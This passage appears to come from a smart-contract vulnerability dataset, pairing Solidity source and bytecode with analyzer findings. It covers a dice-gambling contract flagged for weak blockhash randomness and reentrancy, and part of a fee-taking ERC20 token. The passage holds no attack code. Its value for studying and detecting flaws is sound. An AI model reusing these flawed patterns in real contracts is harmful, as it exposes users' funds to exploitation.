5050565b600082821115151561169257fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506007546402540be40061171361170d600754866402540be400600202020260026007540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016117f3565b85611684565b81151561171c57fe5b040390508092505050919050565b600080828401905083811015151561173e57fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600754019150670de0b6b3a76400006117dc670de0b6b3a764000085036402540be400670de0b6b3a76400008681151561179a57fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156117c557fe5b046402540be400028115156117d657fe5b04611684565b8115156117e557fe5b049050809350505050919050565b60008060026001840181151561180557fe5b0490508291505b8181101561183857809150600281828581151561182557fe5b040181151561183057fe5b04905061180c565b509190505600a165627a7a723058205c36c9afd44851067d26b0ca1b5b1b5025bef5fbd2149bd8f192d659484be4fa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
88
0x7ea6b937fe5c8734e057c9e86784f734392eb344
pragma solidity ^0.4.24; // Zethr Token Bankroll interface contract ZethrTokenBankroll{ // Game request token transfer to player function gameRequestTokens(address target, uint tokens) public; } // Zether Main Bankroll interface contract ZethrMainBankroll{ function gameGetTokenBankrollList() public view returns (address[7]); } // Zethr main contract interface contract ZethrInterface{ function withdraw() public; } // Library for figuring out the "tier" (1-7) of a dividend rate library ZethrTierLibrary{ uint constant internal magnitude = 2**64; function getTier(uint divRate) internal pure returns (uint){ // Tier logic // Returns the index of the UsedBankrollAddresses which should be used to call into to withdraw tokens // We can divide by magnitude // Remainder is removed so we only get the actual number we want uint actualDiv = divRate; if (actualDiv >= 30){ return 6; } else if (actualDiv >= 25){ return 5; } else if (actualDiv >= 20){ return 4; } else if (actualDiv >= 15){ return 3; } else if (actualDiv >= 10){ return 2; } else if (actualDiv >= 5){ return 1; } else if (actualDiv >= 2){ return 0; } else{ // Impossible revert(); } } } // Contract that contains the functions to interact with the bankroll system contract ZethrBankrollBridge{ // Must have an interface with the main Zethr token contract ZethrInterface Zethr; // Store the bankroll addresses // address[0] is main bankroll // address[1] is tier1: 2-5% // address[2] is tier2: 5-10, etc address[7] UsedBankrollAddresses; // Mapping for easy checking mapping(address => bool) ValidBankrollAddress; // Set up the tokenbankroll stuff function setupBankrollInterface(address ZethrMainBankrollAddress) internal { // Instantiate Zethr Zethr = ZethrInterface(0xb9ab8eed48852de901c13543042204c6c569b811); // Get the bankroll addresses from the main bankroll UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); for(uint i=0; i<7; i++){ ValidBankrollAddress[UsedBankrollAddresses[i]] = true; } } // Require a function to be called from a *token* bankroll modifier fromBankroll(){ require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); _; } // Request a payment in tokens to a user FROM the appropriate tokenBankroll // Figure out the right bankroll via divRate function RequestBankrollPayment(address to, uint tokens, uint userDivRate) internal { uint tier = ZethrTierLibrary.getTier(userDivRate); address tokenBankrollAddress = UsedBankrollAddresses[tier]; ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); } } // Contract that contains functions to move divs to the main bankroll contract ZethrShell is ZethrBankrollBridge{ // Dump ETH balance to main bankroll function WithdrawToBankroll() public { address(UsedBankrollAddresses[0]).transfer(address(this).balance); } // Dump divs and dump ETH into bankroll function WithdrawAndTransferToBankroll() public { Zethr.withdraw(); WithdrawToBankroll(); } } // Zethr game data setup // Includes all necessary to run with Zethr contract Zethroll is ZethrShell { using SafeMath for uint; // Makes sure that player profit can&#39;t exceed a maximum amount, // that the bet size is valid, and the playerNumber is in range. modifier betIsValid(uint _betSize, uint _playerNumber, uint divRate) { require( calculateProfit(_betSize, _playerNumber) < getMaxProfit(divRate) && _betSize >= minBet && _playerNumber >= minNumber && _playerNumber <= maxNumber); _; } // Requires game to be currently active modifier gameIsActive { require(gamePaused == false); _; } // Requires msg.sender to be owner modifier onlyOwner { require(msg.sender == owner); _; } // Constants uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint public maxNumber = 90; uint public minNumber = 10; uint constant public houseEdgeDivisor = 1000; // Configurables bool public gamePaused; bool public canMining = true; uint public miningProfit = 100; uint public minBetMining = 1e18; address public owner; mapping (uint => uint) public contractBalance; mapping (uint => uint) public maxProfit; uint public houseEdge; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; // Trackers uint public totalBets; uint public totalZTHWagered; // Events // Logs bets + output to web3 for precise &#39;payout on win&#39; field in UI event LogBet(address sender, uint value, uint rollUnder); // Outputs to web3 UI on bet result // Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); // Logs owner transfers event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); // Logs changes in maximum profit event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); // Logs current contract balance event CurrentContractBalance(uint _tokens); constructor (address ZethrMainBankrollAddress) public { setupBankrollInterface(ZethrMainBankrollAddress); // Owner is deployer owner = msg.sender; // Init 990 = 99% (1% houseEdge) houseEdge = 990; // The maximum profit from each bet is 10% of the contract balance. ownerSetMaxProfitAsPercentOfHouse(200000); // Init min bet (1 ZTH) ownerSetMinBet(1e18); canMining = true; miningProfit = 100; minBetMining = 1e18; } // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) public view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // Calculate the maximum potential profit function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } // I present a struct which takes only 20k gas struct playerRoll{ uint192 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits uint8 rollUnder; // Roll under 8 bits uint8 divRate; // Divrate, 8 bits } // Mapping because a player can do one roll at a time mapping(address => playerRoll) public playerRolls; // The actual roll function function _playerRollDice(uint _rollUnder, TKN _tkn, uint userDivRate) private gameIsActive betIsValid(_tkn.value, _rollUnder, userDivRate) { require(_tkn.value < ((2 ** 192) - 1)); // Smaller than the storage of 1 uint192; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 require(userDivRate < (2 ** 8 - 1)); // This should never throw // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens playerRoll memory roll = playerRolls[_tkn.sender]; // Cannot bet twice in one block require(block.number != roll.blockn); // If there exists a roll, finish it if (roll.blockn != 0) { _finishBet(_tkn.sender); } // Set struct block number, token value, and rollUnder values roll.blockn = uint48(block.number); roll.tokenValue = uint192(_tkn.value); roll.rollUnder = uint8(_rollUnder); roll.divRate = uint8(userDivRate); // Store the roll struct - 20k gas. playerRolls[_tkn.sender] = roll; // Provides accurate numbers for web3 and allows for manual refunds emit LogBet(_tkn.sender, _tkn.value, _rollUnder); // Increment total number of bets totalBets += 1; // Total wagered totalZTHWagered += _tkn.value; // game mining if(canMining && roll.tokenValue >= minBetMining){ uint miningAmout = SafeMath.div(SafeMath.mul(roll.tokenValue, miningProfit) , 10000); RequestBankrollPayment(_tkn.sender, miningAmout, roll.divRate); } } // Finished the current bet of a player, if they have one function finishBet() public gameIsActive returns (uint) { return _finishBet(msg.sender); } /* * Pay winner, update contract balance * to calculate new max bet, and send reward. */ function _finishBet(address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); // No re-entracy require(roll.blockn != block.number); // If the block is more than 255 blocks old, we can&#39;t get the result // Also, if the result has already happened, fail as well uint result; if (block.number - roll.blockn > 255) { result = 1000; // Cant win } else { // Grab the result - random based ONLY on a past block (future when submitted) result = random(100, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { // Player has won! // Safely map player profit uint profit = calculateProfit(roll.tokenValue, rollUnder); uint mProfit = getMaxProfit(roll.divRate); if (profit > mProfit){ profit = mProfit; } // Safely reduce contract balance by player profit subContractBalance(roll.divRate, profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); // Update maximum profit setMaxProfit(roll.divRate); // Prevent re-entracy memes playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0)); // Transfer profit plus original bet RequestBankrollPayment(target, profit + roll.tokenValue, roll.divRate); return result; } else { /* * Player has lost * Update contract balance to calculate new max bet */ emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); /* * Safely adjust contractBalance * SetMaxProfit */ addContractBalance(roll.divRate, roll.tokenValue); playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0)); // No need to actually delete player roll here since player ALWAYS loses // Saves gas on next buy // Update maximum profit setMaxProfit(roll.divRate); return result; } } // TKN struct struct TKN {address sender; uint value;} // Token fallback to bet or deposit from bankroll function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn, userDivRate); return true; } // Sets max profit function setMaxProfit(uint divRate) internal { //emit CurrentContractBalance(contractBalance); maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Gets max profit function getMaxProfit(uint divRate) public view returns (uint){ return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Subtracts from the contract balance tracking var function subContractBalance(uint divRate, uint sub) internal { contractBalance[divRate] = contractBalance[divRate].sub(sub); } // Adds to the contract balance tracking var function addContractBalance(uint divRate, uint add) internal { contractBalance[divRate] = contractBalance[divRate].add(add); } // Only owner adjust contract balance variable (only used for max profit calc) function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public onlyOwner { contractBalance[divRate] = newContractBalance; } function ownerUpdateMinMaxNumber(uint newMinNumber, uint newMaxNumber) public onlyOwner { minNumber = newMinNumber; maxNumber = newMaxNumber; } // Only owner adjust contract balance variable (only used for max profit calc) function updateContractBalance(uint newContractBalance) public onlyOwner { contractBalance[2] = newContractBalance; setMaxProfit(2); contractBalance[5] = newContractBalance; setMaxProfit(5); contractBalance[10] = newContractBalance; setMaxProfit(10); contractBalance[15] = newContractBalance; setMaxProfit(15); contractBalance[20] = newContractBalance; setMaxProfit(20); contractBalance[25] = newContractBalance; setMaxProfit(25); contractBalance[33] = newContractBalance; setMaxProfit(33); } // An EXTERNAL update of tokens should be handled here // This is due to token allocation // The game should handle internal updates itself (e.g. tokens are betted) function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll { contractBalance[divRate] = newBalance; setMaxProfit(divRate); } // Only owner address can set maxProfitAsPercentOfHouse function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { // Restricts each bet to a maximum profit of 20% contractBalance require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(2); setMaxProfit(5); setMaxProfit(10); setMaxProfit(15); setMaxProfit(20); setMaxProfit(25); setMaxProfit(33); } // Only owner address can set minBet function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } // Only owner address can set emergency pause #1 function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } function ownerSetCanMining(bool newStatus) public onlyOwner { canMining = newStatus; } function ownerSetMiningProfit(uint newProfit) public onlyOwner { miningProfit = newProfit; } function ownerSetMinBetMining(uint newMinBetMining) public onlyOwner { minBetMining = newMinBetMining; } // Only owner address can set owner address function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } // Only owner address can selfdestruct - emergency function ownerkill() public onlyOwner { selfdestruct(owner); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101c15763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101c65780630bb954c9146101ed5780630d42555914610204578063172ff8d61461021c57806323214fab146102455780633a4f69991461025a5780633ba064521461026f57806343c1598d1461028757806343db53241461029c5780634f44728d146102b657806355b93031146102d75780635da5a9b1146102ec5780635e968a4914610307578063619907591461031f57806361fda640146103435780636cdf4c901461035e5780636eacd48a14610376578063714490ab1461039057806382916381146103a55780638701a2f0146104115780638da5cb5b146104265780639619367d1461045757806397c6824f1461046c578063a3531f6c14610481578063b3472edb14610496578063bd71e476146104ae578063befa1e2f146104c6578063c3de1ab9146104db578063ccd50d28146104f0578063d263b7eb1461054b578063d667dcd714610560578063e5c774de14610575578063ee4eabce1461058a578063ef4ef103146105a2578063f17715ef146105bd578063f7ba8896146105d5575b600080fd5b3480156101d257600080fd5b506101db6105fc565b60408051918252519081900360200190f35b3480156101f957600080fd5b50610202610602565b005b34801561021057600080fd5b5061020260043561067e565b34801561022857600080fd5b5061023161069a565b604080519115158252519081900360200190f35b34801561025157600080fd5b506101db6106a8565b34801561026657600080fd5b506101db6106ae565b34801561027b57600080fd5b506101db6004356106b4565b34801561029357600080fd5b506101db6106c6565b3480156102a857600080fd5b5061020260043515156106cd565b3480156102c257600080fd5b50610202600160a060020a03600435166106fe565b3480156102e357600080fd5b506101db610744565b3480156102f857600080fd5b5061020260043560243561074a565b34801561031357600080fd5b5061020260043561076c565b34801561032b57600080fd5b506101db600435600160a060020a03602435166107e1565b34801561034f57600080fd5b50610202600435602435610882565b34801561036a57600080fd5b506102026004356108aa565b34801561038257600080fd5b5061020260043515156108c6565b34801561039c57600080fd5b506102026108f0565b3480156103b157600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261023194600160a060020a03813516946024803595604435953695608494930191819084018382808284375094975061092d9650505050505050565b34801561041d57600080fd5b506101db610a3d565b34801561043257600080fd5b5061043b610a5e565b60408051600160a060020a039092168252519081900360200190f35b34801561046357600080fd5b506101db610a6d565b34801561047857600080fd5b506101db610a73565b34801561048d57600080fd5b506101db610a79565b3480156104a257600080fd5b506101db600435610a7f565b3480156104ba57600080fd5b50610202600435610a9c565b3480156104d257600080fd5b506101db610ab8565b3480156104e757600080fd5b50610231610abe565b3480156104fc57600080fd5b50610511600160a060020a0360043516610ac7565b60408051600160c060020a03909516855265ffffffffffff909316602085015260ff91821684840152166060830152519081900360800190f35b34801561055757600080fd5b50610202610b08565b34801561056c57600080fd5b506101db610b2d565b34801561058157600080fd5b506101db610b33565b34801561059657600080fd5b50610202600435610b39565b3480156105ae57600080fd5b50610202600435602435610cdf565b3480156105c957600080fd5b506101db600435610da3565b3480156105e157600080fd5b506101db600435602435600160a060020a0360443516610db5565b60155481565b60008054604080517f3ccfd60b0000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921692633ccfd60b9260048084019382900301818387803b15801561065c57600080fd5b505af1158015610670573d6000803e3d6000fd5b5050505061067c6108f0565b565b600e54600160a060020a0316331461069557600080fd5b600c55565b600b54610100900460ff1681565b60125481565b60095481565b60106020526000908152604090205481565b620f424081565b600e54600160a060020a031633146106e457600080fd5b600b80549115156101000261ff0019909216919091179055565b600e54600160a060020a0316331461071557600080fd5b600e805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a5481565b600e54600160a060020a0316331461076157600080fd5b600a91909155600955565b600e54600160a060020a0316331461078357600080fd5b62030d4081111561079357600080fd5b60128190556107a26002610dd4565b6107ac6005610dd4565b6107b6600a610dd4565b6107c0600f610dd4565b6107ca6014610dd4565b6107d46019610dd4565b6107de6021610dd4565b50565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b6020831061084f5780518252601f199092019160209182019101610830565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b600e54600160a060020a0316331461089957600080fd5b6000908152600f6020526040902055565b600e54600160a060020a031633146108c157600080fd5b601355565b600e54600160a060020a031633146108dd57600080fd5b600b805460ff1916911515919091179055565b600160000154604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501580156107de573d6000803e3d6000fd5b60006109376117fb565b3360009081526008602052604081205460ff1615156109dd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f6d73672e73656e6465722073686f756c6420626520612076616c69642062616e60448201527f6b726f6c6c000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600b5460ff16156109ed57600080fd5b600160a060020a038716825260208201869052835184906000908110610a0f57fe5b016020015160f860020a908190048102049050610a3060ff82168387610e01565b5060019695505050505050565b600b5460009060ff1615610a5057600080fd5b610a5933611148565b905090565b600e54600160a060020a031681565b60135481565b600d5481565b600c5481565b6012546000918252600f602052604090912054620f424091020490565b600e54600160a060020a03163314610ab357600080fd5b600d55565b60145481565b600b5460ff1681565b601660205260009081526040902054600160c060020a0381169065ffffffffffff60c060020a8204169060ff60f060020a820481169160f860020a90041684565b600e54600160a060020a03163314610b1f57600080fd5b600e54600160a060020a0316ff5b60115481565b6103e881565b600e54600160a060020a03163314610b5057600080fd5b60026000819052600f6020527fa74ba3945261e09fde15ba3db55005b205e61eeb4ad811ac0faa2b315bffeead829055610b8990610dd4565b60056000819052600f6020527f6bda57492eba051cb4a12a1e19df47c9755d78165341d4009b1d09b3f3616204829055610bc290610dd4565b600a6000819052600f6020527fa13a7a52a9cbb6a90f40d40fbf35f68146be73226e0f48ff16963183fd5684ad829055610bfb90610dd4565b600f600081905260208190527f09567c41c2b819e512ebbfc896a7d795b901b9f15f7637726d97561d5276acb0829055610c3490610dd4565b60146000819052600f6020527f7c16d5886e618926ff2a48ede610aee33ddc3e26b240b1a3e692dab251ff80af829055610c6d90610dd4565b60196000819052600f6020527f87f994d5ae59a99e2acf48b36d480618800117e5705e341836567036c9771939829055610ca690610dd4565b60216000819052600f6020527f4cf9b7e1ac9fdf6c76aa2106d1bb2d28737e17b29c4288bf23778389315a5ba98290556107de90610dd4565b3360009081526008602052604090205460ff161515610d8557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f6d73672e73656e6465722073686f756c6420626520612076616c69642062616e60448201527f6b726f6c6c000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600f60205260409020819055610d9f82610dd4565b5050565b600f6020526000908152604090205481565b600083610dc284846107e1565b811515610dcb57fe5b06949350505050565b6012546000828152600f6020526040902054620f4240910260009283526010602052604090922091049055565b610e09611812565b600b5460009060ff1615610e1c57600080fd5b83602001518584610e2c81610a7f565b610e3684846115c1565b108015610e4557506013548310155b8015610e535750600a548210155b8015610e6157506009548211155b1515610e6c57600080fd5b6020870151600160c060020a0311610e8357600080fd5b65ffffffffffff4310610e9557600080fd5b60ff8610610ea257600080fd5b8651600160a060020a031660009081526016602090815260409182902082516080810184529054600160c060020a038116825265ffffffffffff60c060020a82041692820183905260ff60f060020a820481169483019490945260f860020a90049092166060830152909550431415610f1a57600080fd5b602085015165ffffffffffff1615610f39578651610f3790611148565b505b43856020019065ffffffffffff16908165ffffffffffff168152505086602001518560000190600160c060020a03169081600160c060020a03168152505087856040019060ff16908160ff168152505085856060019060ff16908160ff168152505084601660008960000151600160a060020a0316600160a060020a0316815260200190815260200160002060008201518160000160006101000a815481600160c060020a030219169083600160c060020a0316021790555060208201518160000160186101000a81548165ffffffffffff021916908365ffffffffffff160217905550604082015181600001601e6101000a81548160ff021916908360ff160217905550606082015181600001601f6101000a81548160ff021916908360ff1602179055509050507fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe876000015188602001518a6040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16014805460010190556020870151601580549091019055600b54610100900460ff1680156110fd5750600d548551600160c060020a031610155b1561113e5761112661111e8660000151600160c060020a0316600c54611613565b612710611649565b935061113e876000015185876060015160ff16611660565b5050505050505050565b6000611152611812565b50600160a060020a038216600090815260166020908152604080832081516080810183529054600160c060020a03811680835265ffffffffffff60c060020a8304169483019490945260ff60f060020a820481169383019390935260f860020a90049091166060820152919081908190819081106111cf57600080fd5b602085015165ffffffffffff164314156111e857600080fd5b60ff856020015165ffffffffffff1643031115611209576103e89350611227565b6112216064866020015165ffffffffffff1689610db5565b60010193505b846040015160ff1692508284101561141b57845161124e90600160c060020a0316846115c1565b9150611260856060015160ff16610a7f565b90508082111561126e578091505b61127f856060015160ff168361170a565b845160408051600160a060020a038a1681526020810187905280820186905260608101859052600160c060020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a16112f7856060015160ff16610dd4565b60408051608081018252600080825260208083018281528385018381526060808601858152600160a060020a038f1686526016909452959093209351845491519351925177ffffffffffffffffffffffffffffffffffffffffffffffff19909216600160c060020a03918216177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a65ffffffffffff90951694909402939093177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a60ff93841602177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a9183169190910217909255875192880151611413938b93921686019116611660565b8395506115b7565b845160408051600160a060020a038a1681526020810187905280820186905260608101859052600160c060020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a16114a1856060015160ff168660000151600160c060020a031661173f565b60408051608081018252600080825260208083018281528385018381526060808601858152600160a060020a038f1686526016909452959093209351845491519351925177ffffffffffffffffffffffffffffffffffffffffffffffff19909216600160c060020a03909116177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a65ffffffffffff90941693909302929092177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a60ff92831602177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a9282169290920291909117909155908601516114139116610dd4565b5050505050919050565b6000826103e8601154856115df60018761175e90919063ffffffff16565b6115f087600163ffffffff61175e16565b60640388028115156115fe57fe5b04010281151561160a57fe5b04039392505050565b6000808315156116265760009150611642565b5082820282848281151561163657fe5b041461163e57fe5b8091505b5092915050565b600080828481151561165757fe5b04949350505050565b60008061166c83611770565b91506001826007811061167b57fe5b0154604080517f8ccd227c000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301526024820188905291519190921692508291638ccd227c91604480830192600092919082900301818387803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b505050505050505050565b6000828152600f6020526040902054611729908263ffffffff61175e16565b6000928352600f60205260409092209190915550565b6000828152600f6020526040902054611729908263ffffffff6117ec16565b60008282111561176a57fe5b50900390565b600081601e811061178457600691506117e6565b6019811061179557600591506117e6565b601481106117a657600491506117e6565b600f81106117b757600391506117e6565b600a81106117c857600291506117e6565b600581106117d957600191506117e6565b600281106101c157600091505b50919050565b60008282018381101561163e57fe5b604080518082019091526000808252602082015290565b604080516080810182526000808252602082018190529181018290526060810191909152905600a165627a7a72305820d76dfb50076f9a7d0181953ae6d9d817ec46c8c697148a78da37169148dfbe710029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
89
0xD610708ff8700bB2D886253db7CF6965D97AAb46
/** TG: https://t.me/etymology_token */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EtymologyToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ETYMOLOGY";// string private constant _symbol = "ETMLGY";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 3;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 12;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x5a720085c582Df05158aF67F10e6B95240E7371A);// address payable private _marketingAddress = payable(0x7C25035E7B3877e323dC96636943Ecf78701D871);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000000 * 10**9; // uint256 public _maxWalletSize = 30000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function 